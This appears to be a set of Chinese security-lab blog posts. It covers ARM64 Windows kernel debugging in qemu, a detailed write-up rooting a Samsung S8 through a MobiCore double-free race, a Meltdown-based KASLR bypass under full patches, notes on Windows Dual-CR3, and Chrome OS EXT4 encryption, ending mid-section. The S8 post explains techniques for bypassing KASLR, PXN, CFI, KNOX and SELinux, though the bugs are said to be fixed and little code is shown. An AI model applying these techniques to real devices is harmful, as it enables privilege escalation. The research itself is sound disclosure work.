开启Win10RS4ARM64远程内核调试之旅

author : wup and suezi of IceSword Lab , Qihoo 360


  今年6月,微软联合一线笔记本厂商正式发布了搭载高通骁龙处理器的Windows 10笔记本产品。作为主角的Win10 ARM64,自然亮点无数,对PC设备厂商也是各种利好。实际上,为了与厂商同步发布安全防护产品,IceswordLab的小伙伴早已将底层驱动程序集移植到了Win10 ARM64平台上,笔者也因此积累了一些有趣的内核调试方法。在x86平台使用vmware等虚拟机软件搭建远程内核调试环境是非常方便有效的办法,但目前Win10 ARM64平台没有这样的虚拟机软件,于是笔者利用qemu模拟器DIY一个。

0x0 准备试验环境

物理机系统环境 :Windows10 RS4 x64
虚拟化软件qemu : qemu-w64-setup-20180519.exe
虚拟机系统环境 :Windows10 RS4 ARM64
UEFI 模块 : Linaro 17.08 QEMU_EFI.fd
WINDBG :WDK10 (amd64fre-rs3-16299)附带的WinDBG

0x1 qemu远程内核调试开启失败

  在qemu环境下,我们使用Linaro.org网站提供的针对QEMU(AARCH64)的1708版的UEFI文件QEMU_EFI.fd启动Win10ARM64的系统,并使用bcdedit修改qemu模拟器里的Win10ARM64的启动配置以实现远程内核调试。配置如下图,

我们遇到了两个问题:
(1) 以“-serial pipe:com_1”参数启动qemu模拟器,qemu会被卡住,导致虚拟机系统无法启动;
(2)无论是否开启了基于串口的远程内核调试,系统内核加载的都是kd.dll而非预期的kdcom.dll;

对于问题(1),我们利用qemu串口转发功能,开发一个代理程序:建立一个namedpipe等待windbg的连接,并建立与qemu串口socket服务器的连接,从而实现将pipe上读取(ReadFile)的数据写入(send)到socket、将socket上读取(recv)的数据写入(WriteFile)到pipe。如此我们解决了问题(1)。
至于问题(2),对比VMWare里用UEFI方式部署的Win10RS4x64,不开启内核调试时系统加载的是kd.dll,开启内核调试时系统加载的是kdcom.dll,下面对其进一步分析。

0x2 系统提供的kdcom.dll存在问题

  在Win10RS4ARM64安装镜像的预置驱动里,无法找到serial.sys这个经典的串口驱动;而Win10ARM64笔记本的串口设备是存在的,且串口驱动是高通官方提供的。实际上通过串口远程调试windows,系统正常的启动过程中,调试子系统的初始化是早先于串口驱动程序,调试子系统调用kdcom.dll提供的功能,并不需要串口驱动程序的支持。因此微软没有为Win10RS4ARM64提供串口驱动serial.sys,对我们最终的目标没有影响。

那么问题究竟出在哪里呢?是因为Loader所使用的Qemu中的UEFI有问题吗?

对照qemu的源码可知,qemu为aarch64模拟器环境提供了串口设备PL011。我们研究了Linaro UEFI的源码EDK2并编译了对应的UEFI文件,确保使用的UEFI文件确实提供了串口功能。再用与Win10ARM64模拟器同样的配置安装了Ubuntu for ARM,在这个模拟器里PL011串口通信正常,串口采用MMIO,其映射的基址为0x09000000。但安装Win10后问题依旧:以基于串口的远程内核调试的启动配置来启动Win10RS4ARM64,系统加载的是kd.dll而非期望的kdcom.dll,故而推测是winload 没有识别PL011串口设备、没能去加载kdcom.dll。由此,我们决定直接将kdcom.dll替换kd.dll来使用。不过使用kdcom.dll替换kd.dll后出现了新的问题——系统引导异常,下面进一步分析其原因。

kdcom!KdCompInitialize是串口初始化的关键函数,分析它是如何初始化并使用串口设备的。系统第一次调用kdcom!KdInitialize初始化串口时,传递给KdCompInitialize的第二个参数LoaderBlock是nt!KeLoaderBlock,非NULL,此时kdcom!KdCompInitialize里的关键流程如下:
(1) HalPrivateDispatchTable->KdEnumerateDebuggingDevices已被赋值为hal!HalpKdEnumerateDebuggingDevices,调用返回0xC0000001;
(2) 串口处理器UartHardwareDriver为NULL,没有被赋值;
(3) HalPrivateDispatchTable->KdGetAcpiTablePhase0已被赋值为hal!HalAcpiGetTable,
调用HalAcpiGetTable(loaderBlock, ‘2GBD’)返回NULL,
调用HalAcpiGetTable(loaderBlock, ‘PGBD’)返回NULL,
因此gDebugPortTable为NULL;
(4) 参数LoaderBlocker非NULL且gDebugPortTable为NULL,调用GetDebugAddressFromComPort来配置串口地址;
GetDebugAddressFromComPort调用nt!KeFindConfigurationEntry失败,按照既定策略,基于DebugPortId的值指派串口地址(DebugPort.Address)为0x3F8/0x2F8/0x3E8/0x2E8/0x00五者之一;
(5) 由于gDebugPortTable为NULL,串口处理器UartHardwareDriver赋值为Uart16550HardwareDriver;
由于串口地址(DebugPort.Address)非NULL,调用串口初始化函数UartHardwareDriver->InitializePort初始化串口;
模拟器提供的串口设备为PL011, 串口处理器应被赋值为是PL011HardwareDriver 而非Uart16550HardwareDriver;

至此,我们发现导致异常的原因: 模拟器提供的是PL011串口设备, kdcom.dll虽提供了支持PL011的代码,但未能正确识别适配,依然把它当成了PC的isa-serial串口设备。这应属于kdcom.dll的bug。

0x3 开启qemu远程内核调试

  现在看来,我们需要解决的问题有两个:系统Loader仅加载不支持远程内核调试的kd.dll,系统模块kdcom.dll没能完全支持PL011串口设备。

对于第一个问题,我们简单采取文件替换的办法绕过它。
对于第二个问题,预期可以使用这样的办法解决:开发一个boot类型的驱动,让它能够加载kdcom.dll并主动修正kdcom.dll中所有相关数据,对内核映像Ntoskrnl.exe执行IATHook——把导入地址表中的kd.dll函数地址全部替换成kdcom.dll对应函数地址,最后执行nt!KdInitSystem来初始化调试子系统。这种方案篡改内核数据后,会很快触发PatchGuard蓝屏,因此我们需要设计出一个更可用的方案。

我们可以开发一个能够实现远程内核调试所需的串口通信功能的dll(即没有BUG的kdcom.dll)来替换系统目录下kd.dll,在“禁用驱动程序强制签名”的场景下实现对操作系统初始化流程的劫持。

微软给WINDBG的安装包捆入了一个名为KdSerial的示例项目。这个项目缺少了一些代码,但是关键的部分都在。通过笔者的改造,成功编译得到一个kdserial.dll,它拥有远程内核调试所需的串口通信功能和正确的PL011串口配置,能够替代Win10ARM64RS4系统里的kdcom.dll。将这个kdserial.dll替换系统里的kd.dll,开机时选择“启动设置”菜单里的“禁止驱动程序强制签名”,达成远程内核调试Win10RS4ARM64的目标。

参考文献

[1] Windows Internals 6th
[2] https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--dbgsettings
[3] https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcd-boot-options-reference
[4] https://wiki.linaro.org/LEG/UEFIforQEMU
[5] https://blog.csdn.net/iiprogram/article/details/2298550

利用一个竞态漏洞root三星s8的方法

author : zjq(@spinlock2014) of IceSword Lab , Qihoo 360


  在安卓阵营中,三星手机可以说是最重视安全的了,各种mitigation技术都是早于官方系统应用到自己手机上,并且加入了KNOX技术,在内核层设置了重重校验,提高了手机root难度。17年下半年,研究过一段时间三星手机s8的内核安全问题,发现了一些比较有意思的漏洞。本文中,将介绍一个race condition漏洞,利用此漏洞绕过KALSR,PXN,CFI,KNOX2.8等拿到了s8内核root权限。目前这些漏洞都已经被修复。

0x0 MobiCore驱动的提权漏洞 回页首

  在MobiCore驱动中,ioct的MC_IO_GP_REGISTER_SHARED_MEM接口会从slab中分配一块cwsm buffer,MC_IO_GP_RELEASE_SHARED_MEM接口用来释放cwsm buffer和相关资源。但是在释放过程中,由于没有加锁,存在race condition进而导致double free的可能:

  看此函数的实现,首先从链表中查找获取该内存块,并将引用计数加1以持有该cwsm buffer。然后通过连续两个cwsm_put函数减去引用计数并释放cwsm buffer。cwsm_put的实现是引用计数减1,然后检查引用计数是否为0,如果为0,则执行cwsm_release函数释放cwsm,如下所示:

  正常情况下,创建该buffer时引用计数被设为1,cwsm_find查找该buffer时引用计数加1,第一个cwsm_put调用减去cwsm_find持有的引用计数,然后第二个cwsm_put将引用计数减为0,并调用cwsm_release释放资源。
但在client_gp_release_shared_mem函数中,由于cwsm_find和两个cwsm_put之间并未加锁保护,使获取cwsm和释放cwsm不是原子操作,当race condition发生时,多个线程在cwsm被释放前调用cwsm_find获取该buffer后,接下来的多次cwsm_put调用则可以触发对cwsm的double free。

  我们再看cwsm_release这个函数,还是比较复杂的:

其中,cwsm的结构为:

  仔细分析cwsm_release函数,我们会发现,这个函数中当race condition发生时, tee_mmu_delete(cwsm->mmu) 会造成cwsm->mmu 的double free, client_put(client) 会造成cwsm->client的double free,最后kfree(cwsm) 也会造成cwsm的double free。三个大小不一的slab内存块同时double free,极易引起内核崩溃,除非我们在cwsm第一次被释放后占住该内存,从而控制内存中内容,改变第二次执行此函数中的流程。而list_del_init(&cwsm->list)这一句:


如果我们可以控制cwsm的内容,也就是list->next 和list->prev指针的值,则可以做成一个任意地址写。

0x1 利用方案 回页首

  从client_gp_release_shared_mem函数中可以看到,调用cwsm_find获得buffer和调用cwsm_put释放buffer时间间隙极小,如何能提高race condition的成功率,有效控制指针,并能尽可能的降低崩溃率呢?通过对slab中内存分配释放机制的分析,主要采用了几下几个方法:

  1. 如何增加race condition成功率呢?kmalloc在slab中分配内存块会记录下本线程所在核,kfree释放内存时,如果判断当前线程所在核与分配内存时的所在核一致,则将内存释放到快速缓存链表freelist中,这样当其他线程分配相同大小的内存块时能快速取到,这样可以增加释放后马上占位的成功率;如果释放时判断当前线程所在核与分配内存时的所在核不一致,则将内存释放到page->freelist中,当其他线程分配内存时,缓存链表中内存耗尽后,才会从此链表中取用,因为时间间隙很小,这会降低占位成功率。所以分配slab内存,释放内存,占位内存的线程最好在同一个核上。假设有0,1,2三个核,线程A在0核上分配了buffer,线程B在0核上释放buffer,同时为了制造race condition需要线程C在1核上释放buffer,同时线程D在0核上,可以调用add_key系统调用来占用线程B释放掉的内存块,并填上我们需要的内容。当然这实际调试中,因为race condition间隙很小,可能需要几个甚至几十几百个线程同时操作来增加成功率。同时,因为race condition间隙很小,可以在0核上增加大量打酱油线程,使其在race condition间隙中获得调用机会,以增大时间间隙,提高占位的成功率;
  2. 我们在cwsm double free的第一次释放后将其占住,那么就可以控制其中的内容,填上我们需要的值,因此我们可以将cwsm->list.next设为一个内核地址,利用list_del_init(&cwsm->list)再调用__list_del,可以实现内核地址写,比如将ptmx->check_flags 设置为我们需要的函数指针;
  3. 当race condition发生时,多个线程调用cwsm_release时,大小不同的slab块cwsm->mmu,cwsm->client和cwsm都会被重复释放,在此情况下,内核大概率会崩。因此,当cwsm第一次释放,我们占住后,需要将cwsm->client和cwsm->mmu填上合适的值,防止内核崩溃。我们先看client_put(client) 函数:

  这个函数首先引用计数client->kref减1,如果为0,则调用client_release释放资源。因此我们可以将client->kref设为大于1的值,防止cwsm->client被二次释放。
再看tee_mmu_delete(cwsm->mmu),这一句比较麻烦,它将调用mmu_release函数,看内部实现(片段):

可以看到,mmu_release 不仅要释放mmu,并且要引用mmu中指针。如果我们能控制cwsm->mmu,那么我们必须将cwsm->mmu设为一个合法的slab地址,并且能够控制这个slab中的内容,否则系统将崩溃。幸运的是,我们找到了一个信息泄露漏洞:

/sys/kernel/debug/ion/event文件将泄露ion中分配的ion_buffer的地址。我们可以利用ion接口分配大量ion_buffer,然后在泄露的地址中查找到连续8k大小(cwsm->mmu的大小)的ion_buffer内存。然后在ion中占住这一块内存不释放,将其地址填到cwsm->mmu中,使mmu_release释放此内存块,但因为我们在ion中此内存占住不释放不使用,所以即使被别人重新获得,也可避免内核崩溃。

0x2 Bypass KALSR 回页首

Android 8.0之后安卓手机普遍启用了内核地址随机化,而三星手机启用的要更早一些。此漏洞本身泄露内核地址比较困难,所以还需要一个信息泄露漏洞。debugfs 文件系统一直是比较容易出问题的,我们尝试着用简单指令测试了一下:find /sys/kernel/debug | xargs cat,片刻之后,屏幕上打印出了如下信息:

经过分析,这是/sys/kernel/debug/tracing/printk_formats文件所泄露出来的地址,有些函数地址,比如dpm_suspend,此地址加上一个固定的偏移量即可得到内核启动后的真实函数地址。经过fuzz发现,类似的信息泄露不止一处。

0x3 Bypass PXN && CFI 回页首

我们曾在16年mosec会议上介绍过几种过PXN方法。其中一个方法是,将函数指针kernel_setsockopt覆盖到ptmx_fops->check_flags,然后通过控制第一个参数跳转,绕过set_fs(oldfs)语句,当函数执行完,本进程addr_limit被设为0xffffffffffffffff,此时我们可以在用户态通过一些系统调用直接读写内核数据。

然而在s8上使用此方法时确出现了系统崩溃,仔细检查s8的kernel_sock_ioctl汇编代码时,发现跳转指令改变了,跳转到寄存器的指令改成的直接跳转到固定地址0xffffffc000c56f6c的指令:

下面看看跳转到0xffffffc000c56f6c这个地址干了些什么:

如上代码,实际上是对跳转地址做了检查,如果跳转到的地址的上一条语句是0x00be7bad,则认为是合法地址,执行跳转,如果不是则认为是非法地址,执行一条非法语句导致内核崩溃。为什么必须要上一条语句是0x00be7bad呢?原来s8在编译时每一个函数结尾都加上了一句0x00be7bad作为标记,如果上一条语句是0x00be7bad,则表明这个地址是函数的起始地址,否则不是。也就是说,在每一个跳转到寄存器地址之前都要检查地址是否为函数的起始地址,否则非法。
虽然此路不通,但是另外一个办法还是可以的。我们找到了一个比较好用的bug,在s2mm005_flash函数中有一个代码片段:

文件CCIC_DEFAULT_UMS_FW定义为:”/sdcard/Firmware/usbpd/s2mm005.bin”,由于此文件并不存在,当调用到此代码时,filp_open将返回错误,跳到done返回。可以看到错误处理中并没有恢复addr_limit。也就是当调用此函数失败时,本进程将得到读写内核的权限。
当然上面这个办法有赖于这个简单的bug,在错误处理中漏掉了set_fs(old_fs)的操作。如果没有这种bug怎么办呢?还是有办法的,我们在内核中找到了这样的函数:

将此函数地址,利用漏洞覆盖掉ptms_fops-> check_flags指针,当我们调用check_flags时,可以控制第一个入参,那么合理设置参数内容,可以达到读写内核的目的。

0x4 KNOX2.8 && SELinux 回页首

三星手机为了提高手机安全性,加入了KNOX,使内核利用难度大大加强。这里简单介绍一下KNOX2.8在内核中主要实现的特性:

  1. 与root相关的关键数据,比如cred,页表项等需要在特定内存中分配,此内存中通用cpu端被设为只读,当需要修改时,则发送指令通过TrustZone进行修改;

  2. 在调用rkp_call让TrustZone执行命令时,TrustZone同样将对数据完整性进行校验,比如commit_creds函数在创建cred后,调用rkp_call时,TrustZone会检查本进程credential是否在只读内存区,检查本进程id是否大于1000,如果大于1000则不能将新创建的credential修改为小于1000的值,这也使得通过调用rkp_override_creds来修改credential用户id的办法不再有效;

  3. 在SELinux原有权限管理基础上,增加了额外的完整性校验,这几乎影响所有系统调用接口。以open系统调用为例,当打开CONFIG_RKP_KDP配置项时,增加了security_integrity_current的校验:


    可以看到,在security_integrity_current这个函数里,将校验:进程描述符中cred和security是否在只读内存区分配,bp_cred与cred是否一致(防止被修改),bp_task是否就是本进程,mm->pgd和cred->bp_pgd是否一致,current->nsproxy->mnt_ns->root和current->nsproxy->mnt_ns->root->mnt->bp_mount是否一致。如果其中某一项关键数据被修改而导致检验不通过,则导致系统产生panic,并打印出错误信息;

  4. 在load_elf_binary -> flush_old_exec函数中增加校验,如果进程为id小于1000,为内核进程,并且load的二进制文件及不再”/”目录又不在”/system”目录下则内核panic。

    这使得利用用户态调用__orderly_poweroff函数在内核中创建内核线程的方法将被阻止;KNOX还在内核其他地方加入了大量的检验。

KNOX的加入,使得以前常用的一些修改credential 用户id去root办法都比较难办了。随着KNOX版本的迭代,势必会对内核的保护越来越强化。但是就笔者当时研究的KNOX2.8而言,依然还有一些弱点可供利用,进而拿到root权限,读写高权限文件,起内核shell等。

前面提到,KNOX限制root的一个措施就是在大部分系统调用中,都会进行数据完整性校验,如果我们将进程credential修改非只读区,则会校验失败。这些校验函数都是挂接在全局变量security_hook_heads下面,比如open系统调用会调用security_hook_heads下挂的file_open钩子函数,最后调用到selinux_file_open进行权限和数据完整性校验。但是security_hook_heads这个全局变量却是可读写的,我们可以利用漏洞读写内核,将此变量下面挂的钩子函数有选择的设置为NULL,不仅可以绕过该校验,还可以绕过SELinux的检查。比如,我们可以把本进程credential设置为替换为一块可读写内存,将id修改为root用户,同时将和读写相关的校验函数设为NULL。这样可以用root用户稳定的读写系统中高权限文件。进行其他操作时,也可以通过禁用相关校验函数绕过校验,当然这种方法有些简单粗暴,需要小心使用,因为这些校验函数有些和系统耦合紧密,如果不小心很容易引起系统crash,操作完成后应该尽快恢复。在KNOX之前版本中,有研究员曾经通过调用__orderly_poweroff函数,可以利用内核起一个root进程,绕过了commit_creds中的校验,但是KNOX2.8中在load_elf_binary中增加了对用户id和binary路径的校验。然而我们发现,虽然load_elf_binary增加了此校验,但是load_script中却没有加上这个校验,这就意味着,虽然我们不能在内核中加载自己的binary,但是可以起一个root脚本进程,在脚本中进行我们需要的操作。

总结: 回页首

本文介绍了如何利用一个s8中race condition驱动漏洞,一步步绕过KALSR,PXN,CFI,KNOX2.8等mitigation机制,拿到root权限,读写高权限文件,并在内核中起一个shell进程。三星在内核加固方面下了很大功夫,KNOX的引入显著提高了root的难度,随着后面版本的不断迭代,对内核的加固会越来越强,值得持续的跟踪研究。

随笔(二):全补丁下再次利用CPU漏洞攻破KASLR

author : https://weibo.com/jfpan

  12月初微博提到微软RS4的内核修改,介绍了其KVA Shadowing方案消除了多种已知硬件边信道攻击,无意中成了当时尚未公开的meltdown CPU漏洞补丁的最早(?)粗略分析。漏洞公布后本想补充写个详细分析的blog,但忙于保障部门驱动与补丁的兼容性故而推迟。几天后发现网上已经遍布翻译的、原创的meltdown/spectre相关文章,再写重复的内容就没什么意义了。所以这篇blog主要是写一些大家没有提到的内容。

  之前短文提到了操作系统抵御meltdown的方案是用户态使用另一份不映射内核绝大多数地址空间的页表(Windows上的KVA Shadowing和Linux上的KPTI,它们源自KAISER),那么已有方案是否完美呢?答案是否定的,下面以微软补丁方案为例介绍一个导致全补丁下KASLR Bypass的简单缺陷。(注意虽说原理极为简单,但为了确认是否能公开,两周前已将缺陷报给了MSRC,刚得到微软确定答复。小小吐槽一下,微软认为其威胁不大、不归于漏洞这点在意料之中,但给的理由又是常用的一个:“This is by design”,给人的感觉就是专门留下这点设计来废掉KASLR,其实KAISER原本就是设计用于防止针对KASLR的边信道攻击,本质上还是算方案设计有遗漏)

  言归正传,这个缺陷的原理在于KVA Shadowing虽然不在用户态映射绝大多数内核地址空间,但为了保证应用层、内核层之间能正常切换,依然必须有少量的内核代码与数据映射在用户层的页表中。比如,我们可以看到在补丁生效时的syscall入口KiSystemCall64Shadow并不在.text节里,而是和KiDivideErrorFaultShadow等中断处理入口一起放入了KVASCODE节,该节内容集中放置了CPU状态转换时所需的切换页表的代码,其必须映射在用户态的Shadow address space。同理,KPCR这样的重要数据区也是被映射的。前述代码数据区域虽被映射,但地址是随机的。那么有没有既必须被映射、又能被用户层知晓位置的重要数据呢?不幸的是在目前的设计下存在这样的数据区:IDT与GDT(未使用UMIP时用户层可获取地址)。其中IDT中有各个中断处理函数在前述的KVASCODE节中,可通过meltdown的攻击方法在打完全补丁(包括meltdown/spectre补丁)下直接泄露NT内核模块地址。不过并不是指定内核地址随意使用meltdown攻击就能轻易读出内容,看起来内核地址所存储的数据需要在L1缓存中Meltdown攻击才更有可能成功,因此可以使用prefetch指令去预读,不过实验中找一些实际触碰目标内存的操作成功率会大一些,例如:读取IDT内容前故意触发一个中断,读取GDT前如下修改段寄存器内容使CPU访问GDT数据填入段寄存器的影子寄存器:

1
2
3
4
5
6
mov ax, es
push rax
mov ax, fs
mov es, ax ; Let cpu touch GDT.
pop rax
mov es, ax

  实验中IDT内容的读取相对不那么稳定,不过通过阈值的调整在笔者多台机器上可正确获取NT内核模块地址。PoC代码就不贴出了,简单原理已经说清楚了,附图中是读取IDT(中断处理函数)。

  要修补该缺陷也很简单,对支持UMIP(User-Mode Instruction Prevention)的CPU可直接使用该特性;更通用的方案则是将中断处理入口改为随机化地址同时又映射在user shadow address space的代码片段中,该段代码切换页表后跳转至nt内核中实际处理函数(为防止理论上攻击者可读取该段代码内容分析出跳转目标地址,可使最后跳转指令在未被映射到user的页面上,或者读取未被映射到user的数据区中的内容间接跳转)。

随笔

author : https://weibo.com/jfpan

  这是一篇随笔,Win10对虚拟化实施拦截的产品设的障碍越来越大,忍不住吐槽下。话说RS3改进PatchGuard的针对性很明显,但为什么昨天提到Dual-CR3呢?因为它虽对功能实现没什么影响,但对性能造成不小麻烦(实际上,虚拟化拦截类项目,其拦截功能本身的实现是非常简单的,而能否大规模产品化、商业化的根本核心难点与重点在于完美兼容性与极高实时性能的要求:1、兼容性——除去极端软件,即“用我时就别运行其他虚拟化或硬件相关程序”的软件——必须实现对GUEST展现实际CPU全部硬件特性且GUEST确实可使用这些特性,否则在一些场景一定有兼容问题。兼容性的一些入门测试有不少,比如虚拟化功能开启时运行vmware workstation在里面各跑一个32bit Guest和64bit Guest、跑一个Bluestacks模拟器玩玩Android游戏、给Intel CPU打一个微码补丁等等;2、性能的要求是几乎不造成性能下降,而#VMEXIT的性能损耗是巨大的,因此至少需要实现未嵌套工作时在支持unrestricted guest的CPU上几乎不产生#VMEXIT。这两点可探讨的细节和实例太多,就不写了,一个小广告——可参考360HVM)。

  那么微软为什么要在RS4引入Dual-CR3,这要从内核地址空间随机化(KASLR)说起了,Win10 KASLR随机化了模块的加载基址、内核对象地址、页表地址等,缓解了内核漏洞的利用。不过之前微软对各种基于硬件的边信道攻击(double page fault、prefetch side-channel、TSX-based side-channel等等)依然是没有防护的,这次引入Dual-CR3至少目标中包含增加该种防护。学术圈对该类攻击和防御手段研究已经多时了,今年《KASLR is Dead: Long Live KASLR》这篇论文为Linux设计实现的内核地址隔离方案KAISER号称性能损失仅有0.28%,当初看到的时候只凭感觉每次系统调用都切换CR3、把非Global的TLB项清除(何况为了实现内核地址强隔离应该是没有Global项),这性能损失怎么会这么小(论文里倒是提供了一下解释:首先Global没什么用”Surprisingly, we found the performance impact of disabling global bits to be entirely negligible”;其次现代CPU对TLB管理的优化使得频繁切CR3也没什么大损失了)。没想到没几个月微软就直接在Win10上完全照搬了这套方案(不是每个进程都切换)。这套方案原理简单可行,参见附图一(论文附图)就一目了然了。微软在进程—_KPROCESS中增加了UserDirectoryTableBase配合原有DirectoryTableBase即提供论文中描述的CR3 Pair的内容。线程运行时,_KPRCB中的KernelDirectoryTableBase、RspBaseShadow、UserRspShadow、ShadowFlags用于模式转换时的隔离切换,需要加入的代码很少,附图二是Intel CPU的系统调用入口的代码,返回时自然也有相应的处理。

  回到一开始,微软的强隔离对虚拟化拦截项目有什么影响呢?首先对一些拦截了MOV-CR3操作的情况乐子就大了,增加大量的#VMEXIT;其次微软仅保留映射了极少的内核页面在所谓Shadow address space中,比如KiSystemCall64Shadow需要被映射,但KiSystemCall64- KiSystemServiceUser都未被映射,更别说虚拟机在GUEST中的HOOK代码了。如果强制在GUEST中映射自己的代码,这相当不优美又对强隔离有所破坏且带来风险。有事要忙随笔先写到这里。

参考

https://cmaurice.fr/pdf/essos17_gruss.pdf

附图1

附图2

Chrome OS基于EXT4 Encryption的用户数据安全保护机制

author : suezi(@suezi86) of IceSword Lab , Qihoo 360


概述 回页首

  自2015年开发的EXT4 Encryption经过两年的验证性使用,Google终于在年初的时候将EXT4 Encryption 合并入Chrome OS用于保护用户的隐私数据,完成与eCryptfs同样的功能,简称该技术为Dircrypto。当前,Chrome OS仍是eCryptfs和Dircrypto两种技术并存,但优先采用Dircrypto,这表明Dircrypto将成为以后的主流趋势。本文试图阐述该技术的实现原理。
  与eCryptfs一样,EXT4 Encryption用于完成文件(包括目录)和文件名的加密,以实现多用户系统中各个用户私有数据的安全,即使在设备丢失或被盗的情况下,用户隐私数据也不会轻易被人窥见。本文着重介绍文件内容加解密,文件名加解密留给读者自行研究,技术要点主要包括:加解密模型、密钥管理、EXT4 Encrytion功能的开/关及参数设定操作。

EXT4 Encryption 简述 回页首

  创立eCryptfs十年之后,其主要的作者Michael Halcrow已从之前的IBM转向服务Google。Google在保护用户数据隐私方面具有强烈的需求,应用在其旗下的Android、Chrome OS及数据中心,此时采用的文件系统都是EXT4,eCryptfs属于堆叠在EXT4上的文件系统,性能必定弱于直接在EXT4实现加密,恰好EXT4的主要维护者是Google的Theodore Ts’o ,因此由Michael Halcrow主导、Theodore Ts’o协助开发完成EXT4 Encryption,目标在于“Harder,Better,Faster,Stronger”。
  相比eCryptfs,EXT4 Encryption在内存使用上有所优化,表现在read page时,直接读入密文到page cache并在该page中解密;而eCryptfs首先需要调用EXT4接口完成读入密文到page cache,然后再解密该page到另外的page cache页,内存花销加倍。当然,write page时,两者都不能直接对当前page cache加密,因为cache的明文内容需要保留着后续使用。在对文件加密的控制策略上,两者都是基于目录,但相比eCryptfs使用的mount方法,EXT4 Encryption采用ioctl的策略显得更加方便和灵活。另外,在密钥管理方面,两者也不相同。
  EXT4 Encryption加/解密文件的核心思想是:每个用户持有一个64 Bytes的master key,通过master key的描述(master key descriptor,实际使用时一般采用key signature加上”ext4:”前缀)进行识别,每个文件单独产生一个16 Bytes的随机密钥称为nonce,之后以nonce做为密钥,采用AES-128-ECB算法加密master key,产生derived key。加/解密文件时采用AES-256-XTS算法,密钥是derived key。存储文件时,将包含有格式版本、内容加密算法、文件名加密算法、旗标、master key描述、nonce等信息在内的数据保存在文件的xattr扩展属性中。而master key由用户通过一些加密手段进行存储,在激活EXT4 Encryption前通过keys的系统调用以“logon”类型传入内核keyring,即保证master只能被应用程序创建及更新但不能被应用程序读取。加密是基于目录树的形式进行,加密策略通过EXT4_IOC_SET_ENCRYPTION ioctl对某个目录进行下发,其子目录或文件自动继承父目录的属性,ioctl下发的内容包括策略版本号、文件内容加密模式、文件名加密模式、旗标、master key的描述。文件read操作时,从磁盘block中读入密文到page cache并在该page中完成解密,然后拷贝到应用程序;文件write时采用write page的形式写入磁盘,但不是在当前page cache中直接加密,而是将加密后的密文保存在另外的page中。
  和eCryptfs一样,EXT4 Encryption在技术实现时利用了page cache机制的Buffered I/O,换而言之就是不支持Direct I/O。其加/解密的流程如图一所示。

![](ext4-encryption-encrypt-decrypt-flow.png "图一") 图一 EXT4 Encryption加/解密流程

图一中,在创建加密文件时通过get_random_bytes函数产生16 Bytes的随机数,将其做为nonce保存到文件的xattr属性中;当打开文件时取出文件的nonce和master key的描述,通过master key描述匹配到应用程序下发的master key;然后以nonce做为密钥,采用AES-128-ECB算法加密master key后产生derived key,加/解密文件时采用该derived key做为密钥,加密算法由用户通过ioctl下发并保存到xattr的”contents_encryption_mode”字段,目前版本仅支持AES-256-XTS;加/解密文件内容时调用kernel crypto API完成具体的加/解密功能。
  下面分别从EXT4 Encryption使用的数据结构、内核使能EXT4 Encryption功能、如何添加master key到keyring、如何开启EXT4 Encryption功能、创建和打开加密文件、读取和解密文件、加密和写入加密文件等方面详细叙述。

EXT4 Encryption详述 回页首

EXT4 Encryption的主要数据结构 回页首

  通过数据结构我们可以窥视到EXT4 Encryption的密钥信息的保存和使用方式,非常有利于理解该加密技术。涉及到主要数据结构如下:
  master key的payload的数据表示如清单一所示,应用程序通过add_key系统调用将其和master key descriptor传入内核keyring。

清单一 master key

1
2
3
4
5
6
/* This is passed in from userspace into the kernel keyring */
struct ext4_encryption_key {
__u32 mode;
char raw[EXT4_MAX_KEY_SIZE];
__u32 size;
} __attribute__((__packed__));

  EXT4 Encryption的文件加密信息的数据存储结构如清单二结构体struct ext4_encryption_context所示,每个文件都对应保存着这样的一个数据结构在其xattr中,包含了加密版本、文件内容和文件名的加密算法、旗标、master key descriptor和随机密钥nonce。

清单二 加密信息存储格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* Encryption context for inode
*
* Protector format:
* 1 byte: Protector format (1 = this version)
* 1 byte: File contents encryption mode
* 1 byte: File names encryption mode
* 1 byte: Reserved
* 8 bytes: Master Key descriptor
* 16 bytes: Encryption Key derivation nonce
*/
struct ext4_encryption_context {
char format;
char contents_encryption_mode;
char filenames_encryption_mode;
char flags;
char master_key_descriptor[EXT4_KEY_DESCRIPTOR_SIZE];
char nonce[EXT4_KEY_DERIVATION_NONCE_SIZE];
} __attribute__((__packed__));

  设置EXT4 Encryption开启是通过对特定目录进行EXT4_IOC_SET_ENCRYPTION ioctl完成,具体策略使用清单三所示的struct ext4_encryption_policy 数据结构进行封装,包括版本号、文件内容的加密算法、文件名的加密算法、旗标、master key descriptor。每个加密文件保存的ext4_encryption_context信息均继承自该数据结构,子目录继承父目录的ext4_encryption_context。

清单三 Encryption policy

1
2
3
4
5
6
7
8
9
/* Policy provided via an ioctl on the topmost directory */
struct ext4_encryption_policy {
char version;
char contents_encryption_mode;
char filenames_encryption_mode;
char flags;
char master_key_descriptor[EXT4_KEY_DESCRIPTOR_SIZE];
} __attribute__((__packed__));
`

  open文件时将文件加密相关信息从xattr中读出并保存在清单四的struct ext4_crypt_info数据结构中,成员ci_ctfm用于调用kernel crypto,在文件open时做好key的初始化。从磁盘获取到加密信息后,将该数据结构保存到inode的内存表示struct ext4_inode_info中的i_crypt_info字段,方便后续的readpage、writepage时获取到相应数据进行加/解密操作。

清单四 保存加/解密信息及调用接口的数据结构

1
2
3
4
5
6
7
8
struct ext4_crypt_info {
char ci_data_mode;
char ci_filename_mode;
char ci_flags;
struct crypto_ablkcipher *ci_ctfm;
char ci_master_key[EXT4_KEY_DESCRIPTOR_SIZE];
};
`

  如清单五所示,采用struct ext4_crypto_ctx 表示在readpage、writepage时进行page加/解密的context。在writepage时因为涉及到cache机制,需要保存明文页,所以专门申请单独的bounce_page保存密文用于写入磁盘,用control_page来指向正常的明文页。在readpage时,通过bio从磁盘中读出数据到内存页,读页完成后通过queue_work的形式调用解密流程并将明文保存在当前页,因此context中存在work成员。另外,为了提高效率,在初始化阶段一次性申请了128个ext4_crypto_ctx的内存空间并通过free_list链表进行管理。

清单五 用于表示加/解密page的context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct ext4_crypto_ctx {
union {
struct {
struct page *bounce_page; /* Ciphertext page */
struct page *control_page; /* Original page */
} w;
struct {
struct bio *bio;
struct work_struct work;
} r;
struct list_head free_list; /* Free list */
};
char flags; /* Flags */
char mode; /* Encryption mode for tfm */
};
`

使能EXT4 Encryption 回页首

